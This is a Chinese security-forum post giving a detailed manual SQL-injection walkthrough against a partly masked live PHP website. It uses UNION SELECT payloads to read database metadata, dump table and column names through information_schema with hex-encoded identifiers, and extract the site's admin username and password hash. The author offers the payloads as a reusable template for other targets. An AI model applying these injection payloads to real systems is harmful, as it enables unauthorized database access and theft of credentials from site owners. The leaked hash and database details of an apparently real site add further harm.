刺球网络安全社区

 找回密码
 立即注册

新浪微博登陆

只需一步, 快速开始

QQ登录

只需一步,快速开始

搜索
查看: 698|回复: 0

php手工注入拿后台详细步骤

[复制链接]

 成长值: 215981

新浪微博达人勋

  • TA的每日心情

    2019-8-22 09:24
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    1134

    主题

    1717

    帖子

    37万

    积分

    管理员

    技术指数:★★★★★

    Rank: 9Rank: 9Rank: 9

    积分
    376199

    社区QQ达人最佳新人活跃会员热心会员推广达人宣传达人灌水之王突出贡献优秀版主荣誉管理论坛元老

    QQ
    发表于 2017-1-12 09:15:44 | 显示全部楼层 |阅读模式
    旨在分享,如果能帮助到朋友们那就更好,另一个就是写出来的话我记得深刻点,以后哪天忘了一看到这篇文章就可以拿起来用。注入点http://yk*****.com/cp.php?sid=-3 20160620090935336.jpg
    我们看,返回正常然后and 1=2看一下(其实这里只要等号前后的数值不同就可以,and=且 如果网站过滤and 我们用xor也一样的,只不过相反。)下面的图片已经不显示了,说明存在注入。
    20160620090937337.jpg
    然后order by 1 看看是否返回正常,如果连1都错的话那么就有问题了。所以大家注入的时候可以先用1试试没问题在向下进行。好的,返回正常,就不截图了。看看有多少字段吧 order by 10 出错 我们用折半法 order by 5 还是出错 order by 2 正确order by 3 出错 那就说明是2然后就可以爆显位了,http://yk***.com/cp.php?sid=3 UNION SELECT 1,2其实就是:注入点 UNION SELECT 字段看看会发生什么。。
    20160620090938338.jpg
    我们看到网页爆出来2个2,先不管那么多。只要知道2是显位就可以。(如果没有爆出来的话,可以在参数=这里加一个-号 或者前面加上and 1=2 只要让他报错都可以)然后就是php注入非常重要的部分,要收集信息。先不解释,看下面操作就明白了。version()获取版本database()获取数据库名user()获取当前用户@@version_compile_os 获取操作系统信息这个怎么用呢?其实非常简单。我们先来获取版本信息http://yk***.com/cp.php?sid=3 UNION SELECT 1,version()就是(注入点 UNION SELECT version())注意version()是插在显位数字那里的。不明白没关系多试几遍就懂了。看下图:
    20160620090940343.jpg
    我们看到爆出了 5.0.77 这个版本信息。php注入的时候我们只要看他是大于5.0还是小于5.0.这里是大于5.0的版本,如果我们发现它是小于5.0的那么我们就不是这种方法注入了,要麻烦的多。好了继续爆数据库信息 database()获取数据库名。
    20160620090941344.jpg
    好了,我们获得了数据库名:dfdn20120724 这对我们非常重要。继续爆user()获取当前用户
    20160620090942345.jpg
    我们得到了系统当前用户:dfdn20120724_f@localhost还有一个我们要看看它的操作系统信息:@@version_compile_os 获取操作系统信息
    20160620090943347.jpg
    获取到操作系统信息:redhat-linux-gnu 我们发现是Liuux的系统,哪怕我们对它一窍不通也没关系,不要在意。好了整理一下我们收集到的信息:数据库版本:5.0.77数据库名:dfdn20120724当前用户:dfdn20120724_f@localhost操作系统:redhat-linux-gnu【然后下面就是重点了,这个东西是死的,大家只要记住就可以。我留个公式下来:】-------------------------------------------嘿嘿,在吗----------------------------------------------------获取表名:注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)获取表段和字段:注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)获取指定表下的指定字段信息注入点 UNION SELECT 1,字段名 from 表名-------------------------------------------在啊,有事吗----------------------------------------------------额额,不扯了。继续。不过记住分隔符里面的公式,以后只要把注入点和信息填进去就行。首先来获取表名:注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)按照公式把我们的注入点替换上去结果为下:http://yk***.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)最后还有个数据库名,这个我们前面已经通过显位database()爆出来了为:dfdn20120724然后我们需要用转换工具来编码一下,我用的是小葵。看下图操作
    20160620090943348.jpg
    在第一行粘贴我们要转换的内容(我们爆出的数据库名),然后看图片下面的箭头,Hex对应的内容:0x6466646E3230313230373234http://ykeast.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)然后把这个数据库名转换结果替换上去前后结果为:http://yke***.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x6466646E3230313230373234看上面的语句会发现information_schema.tables 为什么要写这串英文呢?因为版本大于5.0的话有个自带的表,就是它所有如果小于5.0就么有这张表 注入语句也不会这么写。好了,用它来获取数据库表名,我们访问试试。看图:
    20160620090945349.jpg
    很酸爽的感觉,。的感觉。感觉。.觉(不要诧异,这是回音。。。。是回音。。。回音。。音..)。....。。。好的,表全部爆出来了(如果没有全部爆出来,我们只需要把table_name用英文括号括起来,前面加个group_concat 再次访问,就可以获取到所有表)下面就是我们爆出来的所有表,我们要做的事情是判断哪张表是有我们要的管理账号密码,在下面等你们。。。。。1.web_config 2.administrator 3.info 4.pic 5.datainfo 6.lyan 7.link 8.web_config 9.dhuo·10.nyy_administrator 11.cpclass 12.class13. ly_info1我在这。。。。好的,有些经验的朋友很容易看出来 administrator,这张表很可能是管理表所以开始如下↓获取字段:注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)大 家注意:这个时候我们要获取指定表下面的字段,所有最后就不是编码的数据库名,而是我们要获取的表名 这里为 administrator 这张表。我们把它用如上方法转换一下得出:0x61646D696E6973747261746F72 然后 此时的注入语句为:↓http://ykeast.com/cp.php?sid=3 UNION SELECT 1,column_name from information_schema.columns where table_name=0x61646D696E6973747261746F72我们粘贴上去看下图:↓
    20160620090945350.jpg
    可以看到已经爆出来了administrator这张表下的字段,整理如下:1.sdate 2.pwd 3.id4.uidpwd里面应该是密码 那么用户名呢?没有看到user 或者name之类的表啊,没关系 我们先来爆密码此时的语句就简单多了:获取指定表下的指定字段信息注入点 UNION SELECT 1,字段名 from 表名这里把注入点替换http://yk****.com/cp.php?sid=3 字段名替换pwd 表名替换为administrator得出注入语句结果如下↓ :http://yk***.com/cp.php?sid=3 UNION SELECT 1,pwd from administrator结果如下:
    20160620090945351.jpg
    爆出来密码了,....先记录一下:等会再解密,应该还不知道用户名密码:7fef6171469e80d32c0559f88b377245还有3个字段:sdate iduid开始找用户名: sdate 的英文意思为姓名,id和uid一般都是编号序号之类的我们试试sdatehttp://ykeast.com/cp.php?sid=3 UNION SELECT 1,pwd from administrator这时候注入语句只需要把上面的pwd替换成sdate就可以了http://yk****.com/cp.php?sid=3 UNION SELECT 1,sdate from administrator访问试试:结果如下图:
    20160620090948352.jpg
    好吧,只是时间而已。已经走到这里千万别放弃,我们试试uid这个字段。因为林子大了上面鸟都有,谁也不知道下一秒会发生什么...什么.....么(我们见过,我是回音).....言归正传:注入语句为:http://yk***.com/cp.php?sid=3 UNION SELECT 1,uid from administrator看结果;
    20160620090949353.jpg
    没错,uid报出了管理用户名。用户名:amdin 密码:7fef6171469e80d32c0559f88b377245这里解密后的密码和后台我就不放出来了,这样的话可以多一些人练练手。不然很快就被搞死了。我也是小菜一个,我认同的学习方法就是多看视频,多看文章。然后练,如果说你看一篇文章或者视频,那个漏洞没有了 一时也找不到。那么如果想成长,进步。那就坚持下去,一旦你跨过去了,你会有很多收获的。



    楼主热帖
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆

    本版积分规则

    
     
     
    技术支持
    点击这里给我发消息
    在线客服
    点击这里给我发消息
    点击这里给我发消息
    刺球网安群①:
    刺球网安社区交流群①
    在线时间:
    8:30-21:00
     

    刺球网安 渝公网安备 50011402500080号 ( 渝ICP备15001097号-1 )申请友链|小黑屋| 刺球网络安全社区

    GMT, 2019-10-21 17:21 , Processed in 0.226884 second(s), 49 queries , Gzip On.

    Powered by 刺球网安

    © 2014-2025

    快速回复 返回顶部 返回列表